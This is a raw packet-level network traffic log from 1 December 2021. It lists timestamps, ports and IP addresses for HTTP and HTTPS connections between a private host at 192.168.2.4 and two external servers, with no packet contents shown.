Dec 1, 2021 09:13:58.060148001 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.060177088 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.060208082 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.060213089 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.060240984 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.060272932 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.060276031 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.060305119 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.060338020 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.060338974 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.060368061 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.060400009 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.060405016 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.060431004 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.060461044 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.060466051 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.060492992 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.060523987 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.060528994 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.060555935 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.060589075 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.060590029 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.060619116 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.060651064 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.060683012 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.060689926 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.060707092 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.060714006 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.060745955 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.060755968 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.060777903 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.060811043 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.060816050 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.060846090 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.060913086 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.060914993 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.060944080 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.060976028 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.060986996 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.061008930 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.061039925 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.061050892 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.061072111 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.061105013 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.061115980 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.061135054 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.061167002 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.061177969 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.061198950 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.061230898 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.061240911 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.061264038 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.061295033 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.061309099 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.061327934 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.061359882 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.061371088 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.061398029 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.061429977 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.061433077 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.061461926 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.061494112 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.061500072 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.061537027 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.061553955 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.061573029 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.061573029 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.061590910 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.061608076 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.061609030 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.061626911 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.061645031 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.061645985 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.061665058 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.061678886 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.061683893 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.061701059 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.061718941 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.061721087 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.061737061 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.061753035 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.061753988 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.061779976 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.061788082 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.061798096 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.061815977 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.061835051 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.061847925 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.061852932 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.061871052 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.061877966 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.061888933 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.061904907 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.061908960 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.061925888 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.061944008 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.061954021 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.061961889 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.061980963 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.061988115 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.061999083 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.062017918 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.062022924 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.062041998 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.062060118 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.062064886 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.062078953 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.062093973 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.062097073 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.062114954 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.062125921 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.062133074 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.062150002 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.062158108 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.062167883 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.062184095 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.062186003 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.062203884 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.062206030 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.062222004 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.062236071 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.062241077 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.062256098 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.062258959 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.062275887 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.062285900 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.062294960 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.062311888 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.062319040 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.062330008 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.062349081 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.062349081 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.062366009 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.062366962 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.062385082 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.062393904 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.062403917 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.062412024 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.062433004 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.062460899 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.065234900 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.121486902 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.121531963 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.121576071 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.121592999 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.121608973 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.121635914 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.121638060 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.121653080 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.121669054 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.121694088 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.121699095 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.121716976 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.121728897 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.121752977 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.121758938 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.121773005 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.121788979 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.121819973 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.121833086 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.121850014 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.121865034 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.121886969 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.121891975 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.121906042 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.121921062 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.121937990 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.121948957 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.121968031 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.121975899 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.122000933 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.122004032 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.122031927 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.122034073 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.122046947 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.122087955 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.180008888 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.180068970 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.180088043 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.180107117 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.180126905 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.180146933 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.180166006 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.180185080 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.180203915 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.180222988 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.180231094 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.180241108 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.180260897 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.180275917 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.180285931 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.180311918 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.180336952 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.180337906 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.180361032 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:13:58.180367947 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.180423021 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.180428028 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.186765909 CET	49763	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:13:58.244482040 CET	80	49763	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:00.068618059 CET	49764	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:00.128740072 CET	80	49764	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:00.132200003 CET	49764	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:00.132246971 CET	49764	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:00.132251024 CET	49764	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:00.190388918 CET	80	49764	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:00.235800028 CET	80	49764	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:00.235974073 CET	49764	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:00.289221048 CET	49764	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:00.347134113 CET	80	49764	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:00.589698076 CET	49765	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:00.647224903 CET	80	49765	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:00.647351980 CET	49765	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:00.647543907 CET	49765	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:00.647557974 CET	49765	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:00.705030918 CET	80	49765	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:00.754903078 CET	80	49765	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:00.755006075 CET	49765	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:00.755084038 CET	49765	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:00.786601067 CET	49766	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:00.812551022 CET	80	49765	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:00.844547033 CET	80	49766	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:00.844630003 CET	49766	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:00.844767094 CET	49766	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:00.844798088 CET	49766	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:00.903714895 CET	80	49766	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:00.950323105 CET	80	49766	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:00.950423002 CET	49766	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:00.964207888 CET	49766	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:00.996397972 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:00.996433973 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:00.996509075 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:00.997462034 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:00.997481108 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.022891998 CET	80	49766	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:01.042623043 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.042737961 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.044775009 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.044785976 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.045136929 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.067698956 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.108872890 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.115761995 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.115839005 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.115900040 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.115900040 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.115919113 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.115932941 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.115973949 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.115999937 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.116101980 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.116102934 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.116115093 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.116154909 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.116161108 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.116177082 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.116194963 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.116213083 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.116240025 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.116264105 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.116265059 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.116274118 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.116305113 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.116308928 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.116343021 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.116360903 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.116374969 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.116409063 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.116422892 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.116436005 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.116466999 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.116492033 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.116492987 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.116503954 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.116533995 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.116539001 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.116569042 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.116591930 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.116599083 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.116611958 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.116638899 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.116646051 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.116677046 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.116698980 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.116704941 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.116714001 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.116749048 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.116759062 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.116777897 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.116795063 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.116823912 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.116863966 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.116875887 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.116889954 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.116924047 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.116955996 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.116961956 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.116971970 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.117012024 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.117012978 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.117046118 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.117075920 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.117089033 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.117106915 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.117140055 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.117151022 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.117181063 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.133481979 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.133532047 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.133585930 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.133588076 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.133615017 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.133626938 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.133631945 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.133641958 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.133691072 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.133693933 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.133702040 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.133729935 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.133748055 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.133758068 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.133769989 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.133780003 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.133802891 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.133835077 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.133843899 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.133873940 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.133905888 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.133943081 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.133954048 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.133963108 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.133995056 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.134013891 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.134062052 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.134069920 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.134107113 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.134115934 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.134124994 CET	443	49767	162.159.130.233	192.168.2.4
Dec 1, 2021 09:14:01.134152889 CET	49767	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:14:01.134167910 CET	443	49767	162.159.130.233	192.168.2.4
